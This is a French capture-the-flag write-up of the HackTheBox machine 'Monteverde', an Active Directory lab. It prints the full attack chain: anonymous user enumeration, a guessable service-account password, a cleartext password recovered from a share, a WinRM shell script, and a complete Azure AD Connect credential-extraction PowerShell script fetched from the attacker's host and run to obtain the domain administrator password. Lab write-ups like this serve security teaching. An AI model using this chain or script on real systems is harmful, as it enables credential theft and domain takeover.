Monteverde est une machine Windows considérée comme facile/moyenne et orientée Active Directory. Un pseudo accès anonyme permet d’énumérer les comptes du domaine et ainsi identifier un compte trivial. L’analyse d’un partage réseau permet par la suite de récupérer un compte membre du groupe “Azure Admins”. L’escalade de privilège est réalisée au travers de l’exploitation de Azure AD Connect.
Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.
Découverte / Énumération
Un rapide scan de ports permet d’obtenir les services présents sur la machine.
Nmap scan report for 10.10.10.172
Host is up, received echo-reply ttl 127 (0.085s latency).
Scanned at 2020-02-02 16:30:39 CET for 159s
Not shown: 989 filtered ports
Reason: 989 no-responses
PORT STATE SERVICE REASON VERSION
53/tcp open domain? syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-02-02 15:41:58Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
Ne pas oublier de scanner un nombre de ports plus important que les ports classiques.. Cela m’a valu du temps perdu ! En effet, de cette manière, les ports 5985 et 9389 sont identifiés (et cela est très important pour la suite!)
nmap scan report for 10.10.10.172
Host is up (0.091s latency).
Not shown: 9988 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
Le domaine est ainsi repéré et les différents services semblent indiquer que l’on se trouve face à un contrôleur de domaine Active Directory.
Il est possible d’interroger l’AD en tant qu’utilisateur anonyme, ce qui permet notamment de récupérer la liste des utilisateurs du domaine (entre autres).
$ rpcclient -U "" 10.10.10.172
Unable to initialize messaging context
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
Note importante : Afin d’éviter les problèmes de résolution DNS, ne pas oublier de renseigner les informations de la machine dans les fichiers resolv.conf
et hosts
.
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux
10.10.10.172 megabank.local
$ cat /etc/resolv.conf
search megabank.local
nameserver 10.10.10.172
Compte trivial et énumération des partages
Il n’est pas rare dans un domaine Active Directory que certains comptes utilisent des mots de passe triviaux, notamment pour les comptes ayant vocation à être utilisé par différents process/personnes.
Après quelques tests on se rend rapidement compte que c’est le cas du compte “SABatchJobs” !
$ crackmapexec smb 10.10.10.172 -u "SABatchJobs" -p "SABatchJobs"
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs
À partir de là, on peut notamment commencer à fouiller les différents partages réseaux accessibles.
$ crackmapexec smb 10.10.10.172 -u "SABatchJobs" -p "SABatchJobs" --shares
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [+] Enumerated shares
SMB 10.10.10.172 445 MONTEVERDE Share Permissions Remark
SMB 10.10.10.172 445 MONTEVERDE ----- ----------- ------
SMB 10.10.10.172 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.10.10.172 445 MONTEVERDE azure_uploads READ
SMB 10.10.10.172 445 MONTEVERDE C$ Default share
SMB 10.10.10.172 445 MONTEVERDE E$ Default share
SMB 10.10.10.172 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.10.10.172 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.10.10.172 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.10.10.172 445 MONTEVERDE users$ READ
Le partage users$
attire notre attention. Différents répertoires utilisateurs y sont présents, vides. À l’exception d’un, contenant un fichier azure.xml
.
$ smbclient -U SABatchJobs //10.10.10.172/users$
smb: \mhope\> ls
. D 0 Fri Jan 3 14:41:18 2020
.. D 0 Fri Jan 3 14:41:18 2020
azure.xml AR 1212 Fri Jan 3 14:40:23 2020
524031 blocks of size 4096. 519955 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)
En récupérant le fichier, on se rend compte qu’un mot de passe y est stocké en clair. Il s’agit entre autres d’un fichier de configuration pour Azure.
$ cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>%
On vérifie la validité du mot de passe à l’aide de CrackMapExec, pour l’utilisateur mhope
, là où on a trouvé le fichier. Je passe les détails, mais dans la phase d’énumération des utilisateurs et groupe, cet utilisateur a été identifié comme appartenant au groupe “Azure Admins”.
$ crackmapexec smb 10.10.10.172 -u "mhope" -p "4n0therD4y@n0th3r$"
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK\mhope:4n0therD4y@n0th3r$
Accès via WinRM
Cependant, ce compte n’est pas administrateur et les possibilités d’exécution de commande à distance sont limitées. C’est là qu’intervient WinRM (Windows Remote Management). Il s’agit d’un service/protocole Microsoft HTTP, basé sur WS-Management (SOAP) qui permet l’administration à distance de machines sous Windows. De retour à notre scan nmap, le port 5985, utilisé par défaut par WinRM, est ouvert.
Plusieurs façon d’exploiter. J’ai choisi d’utiliser le script Ruby suivant.
$ cat winrm_shell.rb
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.172:5985/wsman',
user: 'MEGABANK\mhope',
password: '4n0therD4y@n0th3r$',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
Ce qui donne un accès à la machine ainsi que le premier flag !
$ ruby winrm_shell.rb
PS > whoami
megabank\mhope
PS > pwd
Path
----
C:\Users\mhope\Documents
PS > ls ../Desktop
Directory: C:\Users\mhope\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/3/2020 5:48 AM 32 user.txt
Escalade de privilege - ADSync
À partir de là, on dispose d’un utilisateur membre du groupe “Azure Admins” et il faut trouver un moyen d’escalader ses privilèges. Étant donné la configuration dans laquelle nous sommes, il semble bien que cela tourne autour des mécanismes de Azure.
N’ayant que très peu connaissance de ces thématiques, j’ai commencé par me documenter sur ce qui existait et ce que l’on pouvait faire. Je suis notamment tombé sur la superbe présentation de @_dirkjan (lien).
On y apprend notamment qu’il est possible d’extraire des identifiants d’une machine connectée à un domaine Azure via Azure AD Connect.
Quelques recherches supplémentaires nous redirigent vers 2 ressources intéressantes :
- https://blog.xpnsec.com/azuread-connect-for-redteam/
- https://vbscrub.video.blog/2020/01/14/azure-ad-connect-database-exploit-priv-esc/
On peut notamment récupérer un script Powershell qui semble effectuer pour nous l’extraction (merci à @xpn pour ça!).
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
Cependant, l’exploit n’est pas fonctionnel en l’état. En effet, il existe deux moyens d’extraire ces identifiants :
- Par l’intermédiaire d’une base de données SQLExpress par défaut
- Par l’intermédiaire d’une instance MSSQL
Ainsi, le type d’authentification utilisée par le script sera à modifier selon le type de base à laquelle on souhaite se connecter.
# Instance MSSQL
"Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
# Instance SQLExpress
"Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
Dans le cas de cette machine, une instance MSSQL est utilisée. Ainsi, il est nécessaire de modifier la ligne suivante du script.
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
$client.Open()
Une fois fait, on met en place un petit serveur Python afin de télécharger le script sur la machine. On télécharge ce dernier et on l’exécute directement via notre shell WinRM.
$ ruby winrm_shell.rb
PS > Invoke-WebRequest -Uri "http://10.10.14.32:8000/test.ps1" -OutFile "test.ps1"
PS > .\test.ps1
AD Connect Sync Credential Extract POC (@_xpn_)
Stage 1 - OK
Stage 2 - OK
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
Tadaaaam ! On adapte notre script ruby (WinRM) et on file chercher le flag root !
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.172:5985/wsman',
user: 'MEGABANK\administrator',
password: 'd0m@in4dminyeah!',
)
$ ruby winrm_shell_admin.rb
PS > whoami
megabank\administrator
PS > pwd
Path
----
C:\Users\Administrator\Documents
PS > ls ../Desktop/
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/3/2020 5:48 AM 32 root.txt
w00ted !